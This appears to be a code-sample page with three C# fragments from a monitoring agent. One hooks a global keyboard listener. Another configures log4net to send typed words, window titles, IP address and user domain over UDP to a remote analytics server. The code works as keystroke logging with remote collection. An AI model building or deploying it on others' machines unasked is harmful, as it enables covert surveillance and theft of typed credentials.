Пример #1
0
        public static void Setup_textAnalytics()
        {
            log4net.Repository.ILoggerRepository textAnalytics_Repo = log4net.LogManager.CreateRepository("textAnalytics_Repo");

            PatternLayout patternLayout_TextAnalytics = new PatternLayout();

            patternLayout_TextAnalytics.ConversionPattern = "%date a: %property{IPAddress} b: %property{UserDomain} c: %property{AgentID} d: %message - e: %property{TextWindow} f: %property{Word} %newline";
            patternLayout_TextAnalytics.ActivateOptions();

            UdpAppender UdpAppenderTA = new UdpAppender();

            UdpAppenderTA.RemoteAddress = analyticsIPAddress;
            UdpAppenderTA.RemotePort    = Convert.ToInt32(SQLStorage.RetrievePar("textPort"));
            UdpAppenderTA.Threshold     = log4net.Core.Level.All;
            UdpAppenderTA.Layout        = patternLayout_TextAnalytics;
            UdpAppenderTA.ActivateOptions();

            log4net.Config.BasicConfigurator.Configure(textAnalytics_Repo, UdpAppenderTA);
        }
Пример #2
0
        public void StartModules()
        {
            try
            {
                // Module Load: Text Analytics

                if (SQLStorage.RetrievePar("textAnalytics") == "1")
                {
                    TextAnalyticsLogger.Setup_textAnalytics();
                    KeyboardListener.KeyDown += new RawKeyEventHandler(KBHelpers.KeyboardListener_KeyDown);
                    GC.KeepAlive(KeyboardListener);
                }

                // Start XML reader

                XMLTimer = new System.Threading.Timer(new TimerCallback(EnTimer), null, 0, (long)Convert.ToInt64(SQLStorage.RetrievePar("heartbeat")));
            }
            catch (Exception ex)
            {
                Filesystem.WriteLog("ERROR : Exception trown while executing modules : " + ex);
            }
        }
Пример #3
0
        /// <summary>
        /// Configuration variables
        /// </summary>

        #region Configuration variables

        // Encrypt server password

        public static string AppSERVERRegisterKeyPass()
        {
            return(Cryptography.EncRijndael(SQLStorage.RetrievePar("serverPassword")));
        }